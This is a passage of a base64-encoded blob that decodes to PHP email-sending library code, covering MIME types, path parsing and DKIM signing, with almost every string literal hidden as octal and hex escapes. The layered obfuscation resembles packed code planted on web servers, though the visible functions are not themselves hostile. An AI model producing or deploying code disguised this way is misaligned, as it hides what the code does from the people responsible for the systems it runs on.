2MlwxNDVcMTQxXDE1NFwxNDFceDc1XDE0NFwxNTFcMTU3IiwgIlx4NzdcMTQxXDE2NiIgPT4gIlx4NjFceDc1XHg2NFx4NjlcMTU3XHgyZlx4NzhceDJkXHg3N1wxNDFcMTY2IiwgIlx4NmRcMTUzXHg2MSIgPT4gIlx4NjFcMTY1XDE0NFwxNTFceDZmXHgyZlx4NzhcNTVceDZkXDE0MVwxNjRceDcyXDE1N1x4NzNceDZiXHg2MSIsICJceDYyXDE1NVx4NzAiID0+ICJceDY5XDE1NVwxNDFcMTQ3XHg2NVx4MmZceDYyXDE1NVwxNjAiLCAiXDE0N1x4NjlceDY2IiA9PiAiXDE1MVx4NmRceDYxXHg2N1x4NjVcNTdcMTQ3XDE1MVx4NjYiLCAiXDE1Mlx4NzBcMTQ1XHg2NyIgPT4gIlwxNTFceDZkXDE0MVwxNDdceDY1XHgyZlx4NmFcMTYwXDE0NVwxNDciLCAiXHg2YVx4NzBceDY1IiA9PiAiXDE1MVx4NmRcMTQxXHg2N1x4NjVceDJmXDE1Mlx4NzBcMTQ1XHg2NyIsICJcMTUyXDE2MFx4NjciID0+ICJceDY5XDE1NVwxNDFcMTQ3XDE0NVw1N1x4NmFcMTYwXHg2NVx4NjciLCAiXDE2MFx4NmVcMTQ3IiA9PiAiXHg2OVwxNTVcMTQxXDE0N1x4NjVcNTdcMTYwXHg2ZVx4NjciLCAiXDE2NFwxNTFceDY2XHg2NiIgPT4gIlx4NjlceDZkXHg2MVx4NjdcMTQ1XHgyZlwxNjRceDY5XHg2NlwxNDYiLCAiXHg3NFwxNTFcMTQ2IiA9PiAiXDE1MVx4NmRcMTQxXHg2N1x4NjVcNTdceDc0XHg2OVx4NjZceDY2IiwgIlwxNjdcMTQ1XHg2MlwxNjAiID0+ICJceDY5XDE1NVx4NjFceDY3XDE0NVx4MmZceDc3XHg2NVwxNDJceDcwIiwgIlwxNTBcMTQ1XDE1MVx4NjYiID0+ICJcMTUxXDE1NVwxNDFceDY3XDE0NVw1N1x4NjhceDY1XDE1MVwxNDYiLCAiXHg2OFx4NjVceDY5XHg2NlwxNjMiID0+ICJceDY5XHg2ZFwxNDFcMTQ3XHg2NVw1N1x4NjhceDY1XHg2OVx4NjZcNTVceDczXHg2NVwxNjFceDc1XDE0NVx4NmVceDYzXDE0NSIsICJceDY4XDE0NVwxNTFceDYzIiA9PiAiXHg2OVx4NmRcMTQxXDE0N1x4NjVcNTdcMTUwXHg2NVwxNTFceDYzIiwgIlwxNTBceDY1XDE1MVwxNDNceDczIiA9PiAiXHg2OVx4NmRcMTQxXHg2N1x4NjVceDJmXDE1MFwxNDVcMTUxXHg2M1w1NVx4NzNceDY1XDE2MVx4NzVceDY1XDE1Nlx4NjNceDY1IiwgIlx4NjVceDZkXHg2YyIgPT4gIlwxNTVceDY1XDE2M1x4NzNceDYxXHg2N1x4NjVceDJmXDE2Mlx4NjZceDYzXDcwXHgzMlx4MzIiLCAiXDE0M1wxNjNcMTYzIiA9PiAiXHg3NFx4NjVceDc4XDE2NFw1N1wxNDNcMTYzXHg3MyIsICJcMTUwXDE2NFx4NmRceDZjIiA9PiAiXDE2NFwxNDVceDc4XDE2NFw1N1wxNTBcMTY0XHg2ZFx4NmMiLCAiXDE1MFx4NzRcMTU1IiA9PiAiXHg3NFx4NjVceDc4XHg3NFx4MmZceDY4XHg3NFx4NmRceDZjIiwgIlwxNjNcMTUwXDE2NFx4NmRcMTU0IiA9PiAiXHg3NFwxNDVcMTcwXDE2NFw1N1x4NjhcMTY0XHg2ZFwxNTQiLCAiXHg2Y1x4NmZceDY3IiA9PiAiXDE2NFwxNDVceDc4XHg3NFw1N1wxNjBcMTU0XHg2MVx4NjlcMTU2IiwgIlx4NzRceDY1XHg3OFx4NzQiID0+ICJcMTY0XHg2NVwxNzBceDc0XDU3XDE2MFwxNTRcMTQxXDE1MVwxNTYiLCAiXHg3NFx4NzhceDc0IiA9PiAiXDE2NFwxNDVceDc4XDE2NFx4MmZcMTYwXDE1NFwxNDFceDY5XDE1NiIsICJceDcyXDE2NFwxNzAiID0+ICJcMTY0XHg2NVwxNzBcMTY0XDU3XHg3MlwxNTFcMTQzXDE1MFwxNjRceDY1XDE3MFwxNjQiLCAiXHg3Mlx4NzRceDY2IiA9PiAiXDE2NFwxNDVcMTcwXHg3NFx4MmZcMTYyXHg3NFx4NjYiLCAiXDE2NlwxNDNcMTQ2IiA9PiAiXHg3NFwxNDVcMTcwXDE2NFw1N1wxNjZceDYzXHg2MVwxNjJcMTQ0IiwgIlx4NzZcMTQzXHg2MVx4NzJcMTQ0IiA9PiAiXDE2NFx4NjVcMTcwXDE2NFx4MmZceDc2XDE0M1x4NjFceDcyXHg2NCIsICJcMTUxXHg2M1x4NzMiID0+ICJceDc0XHg2NVx4NzhceDc0XDU3XDE0M1wxNDFceDZjXHg2NVx4NmVcMTQ0XDE0MVx4NzIiLCAiXHg3OFx4NmRcMTU0IiA9PiAiXHg3NFx4NjVcMTcwXDE2NFw1N1x4NzhcMTU1XDE1NCIsICJceDc4XHg3M1wxNTQiID0+ICJceDc0XDE0NVx4NzhcMTY0XDU3XDE3MFwxNTVceDZjIiwgIlwxNjdceDZkXDE2NiIgPT4gIlwxNjZcMTUxXDE0NFwxNDVcMTU3XHgyZlx4NzhcNTVcMTU1XHg3M1x4MmRceDc3XHg2ZFwxNjYiLCAiXHg2ZFwxNjBceDY1XHg2NyIgPT4gIlx4NzZceDY5XHg2NFx4NjVcMTU3XHgyZlwxNTVcMTYwXDE0NVx4NjciLCAiXDE1NVx4NzBceDY1IiA9PiAiXDE2Nlx4NjlcMTQ0XHg2NVwxNTdcNTdcMTU1XDE2MFwxNDVcMTQ3IiwgIlwxNTVcMTYwXHg2NyIgPT4gIlx4NzZceDY5XHg2NFwxNDVceDZmXDU3XHg2ZFx4NzBcMTQ1XHg2NyIsICJcMTU1XDE2MFw2NCIgPT4gIlwxNjZceDY5XHg2NFwxNDVceDZmXHgyZlx4NmRcMTYwXDY0IiwgIlwxNTVceDM0XHg3NiIgPT4gIlx4NzZceDY5XHg2NFx4NjVcMTU3XHgyZlwxNTVcMTYwXHgzNCIsICJceDZkXDE1N1wxNjYiID0+ICJceDc2XHg2OVwxNDRceDY1XHg2Zlx4MmZcMTYxXDE2NVx4NjlceDYzXDE1M1wxNjRcMTUxXDE1NVwxNDUiLCAiXDE2MVx4NzQiID0+ICJceDc2XDE1MVwxNDRceDY1XHg2Zlx4MmZceDcxXDE2NVx4NjlceDYzXHg2YlwxNjRcMTUxXDE1NVx4NjUiLCAiXDE2MlwxNjYiID0+ICJceDc2XHg2OVx4NjRceDY1XDE1N1x4MmZcMTY2XHg2ZVx4NjRceDJlXHg3MlwxNTZceDJkXHg3Mlx4NjVceDYxXHg2Y1wxNjZcMTUxXHg2NFwxNDVceDZmIiwgIlwxNDFcMTY2XDE1MSIgPT4gIlwxNjZcMTUxXDE0NFwxNDVcMTU3XHgyZlx4NzhceDJkXDE1NVwxNjNceDc2XDE1MVx4NjRceDY1XDE1NyIsICJcMTU1XHg2ZlwxNjZceDY5XDE0NSIgPT4gIlx4NzZcMTUxXDE0NFx4NjVceDZmXHgyZlwxNzBceDJkXDE2M1x4NjdceDY5XDU1XDE1NVwxNTdceDc2XDE1MVx4NjUiLCAiXDE2N1x4NjVcMTQyXDE1NSIgPT4gIlx4NzZceDY5XDE0NFwxNDVceDZmXHgyZlwxNjdceDY1XDE0Mlx4NmQiLCAiXDE1NVx4NmJcMTY2IiA9PiAiXHg3Nlx4NjlceDY0XHg2NVx4NmZcNTdceDc4XDU1XDE1NVwxNDFceDc0XHg3Mlx4NmZceDczXHg2YlwxNDEiKTsgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7IGlmIChhcnJheV9rZXlfZXhpc3RzKCRleHQsICRtaW1lcykpIHsgcmV0dXJuICRtaW1lc1skZXh0XTsgfSByZXR1cm4gIlwxNDFceDcwXDE2MFwxNTRceDY5XDE0M1wxNDFcMTY0XHg2OVwxNTdcMTU2XHgyZlx4NmZceDYzXHg3NFwxNDVceDc0XDU1XHg3M1x4NzRcMTYyXDE0NVx4NjFceDZkIjsgfSBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSkgeyAkcXBvcyA9IHN0cnBvcygkZmlsZW5hbWUsICJcNzciKTsgaWYgKGZhbHNlICE9PSAkcXBvcykgeyAkZmlsZW5hbWUgPSBzdWJzdHIoJGZpbGVuYW1lLCAwLCAkcXBvcyk7IH0gJGV4dCA9IHN0YXRpYzo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pOyByZXR1cm4gc3RhdGljOjpfbWltZV90eXBlcygkZXh0KTsgfSBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG1iX3BhdGhpbmZvKCRwYXRoLCAkb3B0aW9ucyA9IG51bGwpIHsgJHJldCA9IGFycmF5KCJcMTQ0XHg2OVwxNjJceDZlXHg2MVwxNTVcMTQ1IiA9PiAnJywgIlx4NjJceDYxXDE2M1wxNDVceDZlXDE0MVwxNTVcMTQ1IiA9PiAnJywgIlwxNDVcMTcwXHg3NFwxNDVcMTU2XDE2M1wxNTFcMTU3XHg2ZSIgPT4gJycsICJceDY2XHg2OVx4NmNceDY1XDE1NlwxNDFcMTU1XHg2NSIgPT4gJycpOyAkcGF0aGluZm8gPSBhcnJheSgpOyBpZiAocHJlZ19tYXRjaCgiXHgyM1x4NWVcNTBcNTZceDJhXHgzZlx4MjlcMTMzXHg1Y1wxMzRcNTdcMTM1XDUyXDUwXDUwXHg1Ylx4NWVcNTdceDVjXDEzNFx4NWRceDJhXDc3XDUxXHgyOFwxMzRcNTZceDI4XHg1Ylx4NWVcMTM0XDU2XHg1Y1x4NWNcNTdcMTM1XHgyYlw3N1x4MjlceDdjXDUxXHgyOVx4NWJcMTM0XDEzNFw1N1x4NWNceDJlXDEzNVw1Mlw0NFw0M1x4NjlcMTU1IiwgJHBhdGgsICRwYXRoaW5mbykpIHsgaWYgKGFycmF5X2tleV9leGlzdHMoMSwgJHBhdGhpbmZvKSkgeyAkcmV0WyJceDY0XHg2OVx4NzJcMTU2XDE0MVx4NmRcMTQ1Il0gPSAkcGF0aGluZm9bMV07IH0gaWYgKGFycmF5X2tleV9leGlzdHMoMiwgJHBhdGhpbmZvKSkgeyAkcmV0WyJceDYyXDE0MVwxNjNceDY1XHg2ZVx4NjFcMTU1XDE0NSJdID0gJHBhdGhpbmZvWzJdOyB9IGlmIChhcnJheV9rZXlfZXhpc3RzKDUsICRwYXRoaW5mbykpIHsgJHJldFsiXDE0NVx4NzhceDc0XDE0NVx4NmVceDczXHg2OVwxNTdceDZlIl0gPSAkcGF0aGluZm9bNV07IH0gaWYgKGFycmF5X2tleV9leGlzdHMoMywgJHBhdGhpbmZvKSkgeyAkcmV0WyJceDY2XDE1MVx4NmNceDY1XHg2ZVx4NjFceDZkXHg2NSJdID0gJHBhdGhpbmZvWzNdOyB9IH0gc3dpdGNoICgkb3B0aW9ucykgeyBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6IGNhc2UgIlx4NjRceDY5XHg3Mlx4NmVceDYxXHg2ZFwxNDUiOiByZXR1cm4gJHJldFsiXDE0NFwxNTFcMTYyXDE1Nlx4NjFcMTU1XDE0NSJdOyBjYXNlIFBBVEhJTkZPX0JBU0VOQU1FOiBjYXNlICJcMTQyXDE0MVwxNjNceDY1XDE1NlwxNDFceDZkXHg2NSI6IHJldHVybiAkcmV0WyJceDYyXHg2MVwxNjNceDY1XDE1NlwxNDFceDZkXDE0NSJdOyBjYXNlIFBBVEhJTkZPX0VYVEVOU0lPTjogY2FzZSAiXDE0NVx4NzhcMTY0XHg2NVx4NmVcMTYzXDE1MVwxNTdceDZlIjogcmV0dXJuICRyZXRbIlwxNDVcMTcwXDE2NFwxNDVcMTU2XHg3M1wxNTFcMTU3XHg2ZSJdOyBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOiBjYXNlICJcMTQ2XHg2OVx4NmNcMTQ1XDE1NlwxNDFceDZkXDE0NSI6IHJldHVybiAkcmV0WyJcMTQ2XDE1MVx4NmNceDY1XHg2ZVx4NjFcMTU1XDE0NSJdOyBkZWZhdWx0OiByZXR1cm4gJHJldDsgfSB9IHB1YmxpYyBmdW5jdGlvbiBzZXQoJG5hbWUsICR2YWx1ZSA9ICcnKSB7IGlmIChwcm9wZXJ0eV9leGlzdHMoJHRoaXMsICRuYW1lKSkgeyAkdGhpcy0+eyRuYW1lfSA9ICR2YWx1ZTsgcmV0dXJuIHRydWU7IH0gJHRoaXMtPnNldEVycm9yKCR0aGlzLT5sYW5nKCJceDc2XDE0MVwxNjJcMTUxXDE0MVx4NjJceDZjXHg2NVwxMzdceDczXHg2NVx4NzQiKSAuICRuYW1lKTsgcmV0dXJuIGZhbHNlOyB9IHB1YmxpYyBmdW5jdGlvbiBzZWN1cmVIZWFkZXIoJHN0cikgeyByZXR1cm4gdHJpbShzdHJfcmVwbGFjZShhcnJheSgiXHhkIiwgIlwxMiIpLCAnJywgJHN0cikpOyB9IHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbm9ybWFsaXplQnJlYWtzKCR0ZXh0LCAkYnJlYWt0eXBlID0gbnVsbCkgeyBpZiAobnVsbCA9PT0gJGJyZWFrdHlwZSkgeyAkYnJlYWt0eXBlID0gc3RhdGljOjokTEU7IH0gJHRleHQgPSBzdHJfcmVwbGFjZShhcnJheSgiXHhkXDEyIiwgIlx4ZCIpLCAiXDEyIiwgJHRleHQpOyBpZiAoIlwxMiIgIT09ICRicmVha3R5cGUpIHsgJHRleHQgPSBzdHJfcmVwbGFjZSgiXDEyIiwgJGJyZWFrdHlwZSwgJHRleHQpOyB9IHJldHVybiAkdGV4dDsgfSBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldExFKCkgeyByZXR1cm4gc3RhdGljOjokTEU7IH0gcHJvdGVjdGVkIHN0YXRpYyBmdW5jdGlvbiBzZXRMRSgkbGUpIHsgc3RhdGljOjokTEUgPSAkbGU7IH0gcHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsICRrZXlfZmlsZW5hbWUsICRrZXlfcGFzcywgJGV4dHJhY2VydHNfZmlsZW5hbWUgPSAnJykgeyAkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUgPSAkY2VydF9maWxlbmFtZTsgJHRoaXMtPnNpZ25fa2V5X2ZpbGUgPSAka2V5X2ZpbGVuYW1lOyAkdGhpcy0+c2lnbl9rZXlfcGFzcyA9ICRrZXlfcGFzczsgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlID0gJGV4dHJhY2VydHNfZmlsZW5hbWU7IH0gcHVibGljIGZ1bmN0aW9uIERLSU1fUVAoJHR4dCkgeyAkbGluZSA9ICcnOyAkbGVuID0gc3RybGVuKCR0eHQpOyBmb3IgKCRpID0gMDsgJGkgPCAkbGVuOyArKyRpKSB7ICRvcmQgPSBvcmQoJHR4dFskaV0pOyBpZiAoMzMgPD0gJG9yZCBhbmQgJG9yZCA8PSA1OCBvciAkb3JkID09IDYwIG9yIDYyIDw9ICRvcmQgYW5kICRvcmQgPD0gMTI2KSB7ICRsaW5lIC49ICR0eHRbJGldOyB9IGVsc2UgeyAkbGluZSAuPSAiXDc1IiAuIHNwcmludGYoIlx4MjVceDMwXHgzMlx4NTgiLCAkb3JkKTsgfSB9IHJldHVybiAkbGluZTsgfSBwdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKSB7IGlmICghZGVmaW5lZCgiXHg1MFx4NGJcMTAzXDEyM1w2N1x4NWZceDU0XDEwNVx4NThceDU0IikpIHsgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7IHRocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoIlx4NjVceDc4XHg3NFx4NjVcMTU2XHg3M1x4NjlceDZmXDE1Nlx4NWZceDZkXDE1MVwxNjNceDczXDE1MVwxNTZcMTQ3IikgLiAiXHg2Zlx4NzBceDY1XHg2ZVx4NzNceDczXHg2YyIpOyB9IHJldHVybiAnJzsgfSAkcHJpdktleVN0ciA9ICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZykgPyAkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZyA6IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5ES0lNX3ByaXZhdGUpOyBpZiAoJycgIT0gJHRoaXMtPkRLSU1fcGFzc3BocmFzZSkgeyAkcHJpdktleSA9IG9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0ciwgJHRoaXMtPkRLSU1fcGFzc3BocmFzZSk7IH0gZWxzZSB7ICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyKTsgfSBpZiAob3BlbnNzbF9zaWduKCRzaWduSGVhZGVyLCAkc2lnbmF0dXJlLCAkcHJpdktleSwgIlwxNjNcMTUwXDE0MVx4MzJceDM1XDY2XDEyN1wxNTFceDc0XHg2OFwxMjJceDUzXHg0MVwxMDVcMTU2XDE0M1wxNjJcMTcxXDE2MFwxNjRceDY5XDE1N1x4NmUiKSkgeyBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7IHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOyB9IG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsgcmV0dXJuICcnOyB9IHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpIHsgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoIlw1N1wxMzRceDcyXHg1Y1wxNTZceDViXHgyMFx4NWNceDc0XHg1ZFx4MmJcNTciLCAiXHgyMCIsICRzaWduSGVhZGVyKTsgJGxpbmVzID0gZXhwbG9kZSgiXDE1XDEyIiwgJHNpZ25IZWFkZXIpOyBmb3JlYWNoICgkbGluZXMgYXMgJGtleSA9PiAkbGluZSkgeyBpZiAoc3RycG9zKCRsaW5lLCAiXDcyIikgPT09IGZhbHNlKSB7IGNvbnRpbnVlOyB9IGxpc3QoJGhlYWRpbmcsICR2YWx1ZSkgPSBleHBsb2RlKCJceDNhIiwgJGxpbmUsIDIpOyAkaGVhZGluZyA9IHN0cnRvbG93ZXIoJGhlYWRpbmcpOyAkdmFsdWUgPSBwcmVnX3JlcGxhY2UoIlx4MmZcMTMzXDQwXDEzNFwxNjRceDVkXDE3M1x4MzJceDJjXDE3NVx4MmYiLCAiXDQwIiwgJHZhbHVlKTsgJGxpbmVzWyRrZXldID0gdHJpbSgkaGVhZGluZywgIlx4MjBceDkiKSAuICJceDNhIiAuIHRyaW0oJHZhbHVlLCAiXDQwXDExIik7IH0gcmV0dXJuIGltcGxvZGUoIlx4ZFwxMiIsICRsaW5lcyk7IH0gcHVibGljIGZ1bmN0aW9uIERLSU1fQm9keUMoJGJvZHkpIHsgaWYgKGVtcHR5KCRib2R5KSkgeyByZXR1cm4gIlx4ZFwxMiI7IH0gJGJvZHkgPSBzdGF0aWM6Om5vcm1hbGl6ZUJyZWFrcygkYm9keSwgIlwxNVx4YSIpOyByZXR1cm4gcnRyaW0oJGJvZHksICJcMTVcMTIiKSAuICJceGRceGEiOyB9IHB1YmxpYyBmdW5jdGlvbiBES0lNX0FkZCgkaGVhZGVyc19saW5lLCAkc3ViamVjdCwgJGJvZHkpIHsgJERLSU1zaWduYXR1cmVUeXBlID0gIlwxNjJceDczXDE0MVw1NVwxNjNcMTUwXHg2MVx4MzJcNjVceDM2IjsgJERLSU1jYW5vbmljYWxpemF0aW9uID0gIlwxNjJcMTQ1XDE1NFx4NjFceDc4XDE0NVwxNDRceDJmXDE2M1wxNTFcMTU1XDE2MFwxNTRcMTQ1IjsgJERLSU1xdWVyeSA9ICJceDY0XHg2ZVwxNjNceDJmXDE2NFx4NzhceDc0IjsgJERLSU10aW1lID0gdGltZSgpOyAkc3ViamVjdF9oZWFkZXIgPSAiXHg1M1x4NzVcMTQyXDE1MlwxNDVcMTQzXDE2NFx4M2FcNDB7JHN1YmplY3R9IjsgJGhlYWRlcnMgPSBleHBsb2RlKHN0YXRpYzo6JExFLCAkaGVhZGVyc19saW5lKTsgJGZyb21faGVhZGVyID0gJyc7ICR0b19oZWFkZXIgPSAnJzsgJGRhdGVfaGVhZGVyID0gJyc7ICRjdXJyZW50ID0gJyc7ICRjb3BpZWRIZWFkZXJGaWVsZHMgPSAnJzsgJGZvdW5kRXh0cmFIZWFkZXJzID0gYXJyYXkoKTsgJGV4dHJhSGVhZGVyS2V5cyA9ICcnOyAkZXh0cmFIZWFkZXJWYWx1ZXMgPSAnJzsgJGV4dHJhQ29weUhlYWRlckZpZWxkcyA9ICcnOyBmb3JlYWNoICgkaGVhZGVycyBhcyAkaGVhZGVyKSB7IGlmIChzdHJwb3MoJGhlYWRlciwgIlwxMDZceDcyXHg2ZlwxNTVceDNhIikgPT09IDApIHsgJGZyb21faGVhZGVyID0gJGhlYWRlcjsgJGN1cnJlbnQgPSAiXDE0NlwxNjJceDZmXHg2ZFx4NWZcMTUwXDE0NVx4NjFcMTQ0XDE0NVx4NzIiOyB9IGVsc2VpZiAoc3RycG9zKCRoZWFkZXIsICJcMTI0XDE1N1x4M2EiKSA9PT0gMCkgeyAkdG9faGVhZGVyID0gJGhlYWRlcjsgJGN1cnJlbnQgPSAiXDE2NFwxNTdceDVmXHg2OFwxNDVceDYxXHg2NFx4NjVcMTYyIjsgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAiXDEwNFwxNDFceDc0XDE0NVw3MiIpID09PSAwKSB7ICRkYXRlX2hlYWRlciA9ICRoZWFkZXI7ICRjdXJyZW50ID0gIlx4NjRceDYxXHg3NFx4NjVcMTM3XHg2OFwxNDVceDYxXDE0NFx4NjVceDcyIjsgfSBlbHNlaWYgKCFlbXB0eSgkdGhpcy0+REtJTV9leHRyYUhlYWRlcnMpKSB7IGZvcmVhY2ggKCR0aGlzLT5ES0lNX2V4dHJhSGVhZGVycyBhcyAkZXh0cmFIZWFkZXIpIHsgaWYgKHN0cnBvcygkaGVhZGVyLCAkZXh0cmFIZWFkZXIgLiAiXDcyIikgPT09IDApIHsgJGhlYWRlclZhbHVlID0gJGhlYWRlcjsgZm9yZWFjaCAoJHRoaXMtPkN1c3RvbUhlYWRlciBhcyAkY3VzdG9tSGVhZGVyKSB7IGlmICgkY3VzdG9tSGVhZGVyWzBdID09PSAkZXh0cmFIZWFkZXIpIHsgJGhlYWRlclZhbHVlID0gdHJpbSgkY3VzdG9tSGVhZGVyWzBdKSAuICJcNzJceDIwIiAuICR0aGlzLT5lbmNvZGVIZWFkZXIodHJpbSgkY3VzdG9tSGVhZGVyWzFdKSk7IGJyZWFrOyB9IH0gJGZvdW5kRXh0cmFIZWFkZXJzWyRleHRyYUhlYWRlcl0gPSAkaGVhZGVyVmFsdWU7ICRjdXJyZW50ID0gJyc7IGJyZWFrOyB9IH0gfSBlbHNlIHsgaWYgKCFlbXB0eSgkeyRjdXJyZW50fSkgYW5kIHN0cnBvcygkaGVhZGVyLCAiXHgyMFx4M2RceDNmIikgPT09IDApIHsgJHskY3VycmVudH0gLj0gJGhlYWRlcjsgfSBlbHNlIHsgJGN1cnJlbnQgPSAnJzsgfSB9IH0gZm9yZWFjaCAoJGZvdW5kRXh0cmFIZWFkZXJzIGFzICRrZXkgPT4gJHZhbHVlKSB7ICRleHRyYUhlYWRlcktleXMgLj0gIlx4M2EiIC4gJGtleTsgJGV4dHJhSGVhZGVyVmFsdWVzIC49ICR2YWx1ZSAuICJcMTVcMTIiOyBpZiAoJHRoaXMtPkRLSU1fY29weUhlYWRlckZpZWxkcykgeyAkZXh0cmFDb3B5SGVhZGVyRmllbGRzIC49ICJceDlcMTc0IiAuIHN0cl9yZXBsYWNlKCJcMTc0IiwgIlx4M2RcNjdcMTAzIiwgJHRoaXMtPkRLSU1fUVAoJHZhbHVlKSkgLiAiXHgzYlx4ZFx4YSI7IH0gfSBpZiAoJHRoaXMtPkRLSU1fY29weUhlYWRlckZpZWxkcykgeyAkZnJvbSA9IHN0cl9yZXBsYWNlKCJcMTc0IiwgIlw3NVx4MzdcMTAzIiwgJHRoaXMtPkRLSU1fUVAoJGZyb21faGVhZGVyKSk7ICR0byA9IHN0cl9yZXBsYWNlKCJcMTc0IiwgIlw3NVx4MzdcMTAzIiwgJHRoaXMtPkRLSU1fUVAoJHRvX2hlYWRlcikpOyAkZGF0ZSA9IHN0cl9yZXBsYWNlKCJcMTc0IiwgIlw3NVw2N1x4NDMiLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsgJHN1YmplY3QgPSBzdHJfcmVwbGFjZSgiXDE3NCIsICJcNzVceDM3XHg0MyIsICR0aGlzLT5ES0lNX1FQKCRzdWJqZWN0X2hlYWRlcikpOyAkY29waWVkSGVhZGVyRmllbGRzID0gIlwxMVx4N2FcNzV7JGZyb219XDE1XHhhIiAuICJcMTFceDdjeyR0b31ceGRceGEiIC4gIlwxMVwxNzR7JGRhdGV9XDE1XDEyIiAuICJceDlceDdjeyRzdWJqZWN0fVw3M1wxNVwxMiIgLiAkZXh0cmFDb3B5SGVhZGVyRmllbGRzOyB9ICRib2R5ID0gJHRoaXMtPkRLSU1fQm9keUMoJGJvZHkpOyAkREtJTWxlbiA9IHN0cmxlbigkYm9keSk7ICRES0lNYjY0ID0gYmFzZTY0X2VuY29kZShwYWNrKCJceDQ4XHgyYSIsIGhhc2goIlwxNjNceDY4XDE0MVw2Mlw2NVw2NiIsICRib2R5KSkpOyBpZiAoJycgPT0gJHRoaXMtPkRLSU1faWRlbnRpdHkpIHsgJGlkZW50ID0gJyc7IH0gZWxzZSB7ICRpZGVudCA9ICJceDIwXDE1MVx4M2QiIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAiXDczIjsgfSAkZGtpbWhkcnMgPSAiXHg0NFx4NGJceDQ5XDExNVw1NVwxMjNcMTUxXHg2N1wxNTZceDYxXDE2NFx4NzVcMTYyXHg2NVw3Mlw0MFx4NzZceDNkXHgzMVx4M2JceDIwXDE0MVx4M2QiIC4gJERLSU1zaWduYXR1cmVUeXBlIC4gIlx4M2JceDIwXHg3MVx4M2QiIC4gJERLSU1xdWVyeSAuICJceDNiXHgyMFx4NmNceDNkIiAuICRES0lNbGVuIC4gIlx4M2JcNDBcMTYzXDc1IiAuICR0aGlzLT5ES0lNX3NlbGVjdG9yIC4gIlx4M2JcMTVceGEiIC4gIlx4OVwxNjRcNzUiIC4gJERLSU10aW1lIC4gIlx4M2JcNDBcMTQzXDc1IiAuICRES0lNY2Fub25pY2FsaXphdGlvbiAuICJcNzNcMTVcMTIiIC4gIlwxMVwxNTBcNzVcMTA2XDE2MlwxNTdceDZkXHgzYVwxMjRcMTU3XDcyXDEwNFwxNDFceDc0XDE0NVw3Mlx4NTNcMTY1XHg2MlwxNTJcMTQ1XDE0M1wxNjQiIC4gJGV4dHJhSGVhZGVyS2V5cyAuICJceDNiXDE1XDEyIiAuICJceDlcMTQ0XHgzZCIgLiAkdGhpcy0+REtJTV9kb21haW4gLiAiXHgzYiIgLiAkaWRlbnQgLiAiXDE1XHhhIiAuICRjb3BpZWRIZWFkZXJGaWVsZHMgLiAiXHg5XDE0Mlx4NjhceDNkIiAuICRES0lNYjY0IC4gIlw3M1x4ZFwxMiIgLiAiXHg5XHg2Mlx4M2QiOyAkdG9TaWduID0gJHRoaXMtPkRLSU1fSGVhZGVyQygkZnJvbV9oZWFkZXIgLiAiXDE1XDEyIiAuICR0b19oZWFkZXIgLiAiXDE1XDEyIiAuICRkYXRlX2hlYWRlciAuICJcMTVcMTIiIC4gJHN1YmplY3RfaGVhZGVyIC4gIlx4ZFx4YSIgLiAkZXh0cmFIZWFkZXJWYWx1ZXMgLiAkZGtpbWhkcnMpOyAkc2lnbmVkID0gJHRoaXMtPkRLSU1fU2lnbigkdG9TaWduKTsgcmV0dXJuIHN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKCRka2ltaGRycyAuICRzaWduZWQpIC4gc3RhdGljOjokTEU7IH0gcHVibGljIHN0YXRpYyBmdW5jdGlvbiBoYXNMaW5lTG9uZ2VyVGhhbk1heCgkc3RyKSB7IHJldHVybiAoYm9vbCkgcHJlZ19tYXRjaCgiXHgyZlx4NWVcNTBcNTZceDdiIiAuIChzZWxmOjpNQVhfTElORV9MRU5HVEggKyBzdHJsZW4oc3RhdGljOjokTEUpKSAuICJcNTRcMTc1XHgyOVx4MmZceDZkIiwgJHN0cik7IH0gcHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCkgeyByZXR1cm4gJHRoaXMtPnRvOyB9IHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpIHsgcmV0dXJuICR0aGlzLT5jYzsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0QmNjQWRkcmVzc2VzKCkgeyByZXR1cm4gJHRoaXMtPmJjYzsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3NlcygpIHsgcmV0dXJuICR0aGlzLT5SZXBseVRvOyB9IHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKSB7IHJldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIGRvQ2FsbGJhY2soJGlzU2VudCwg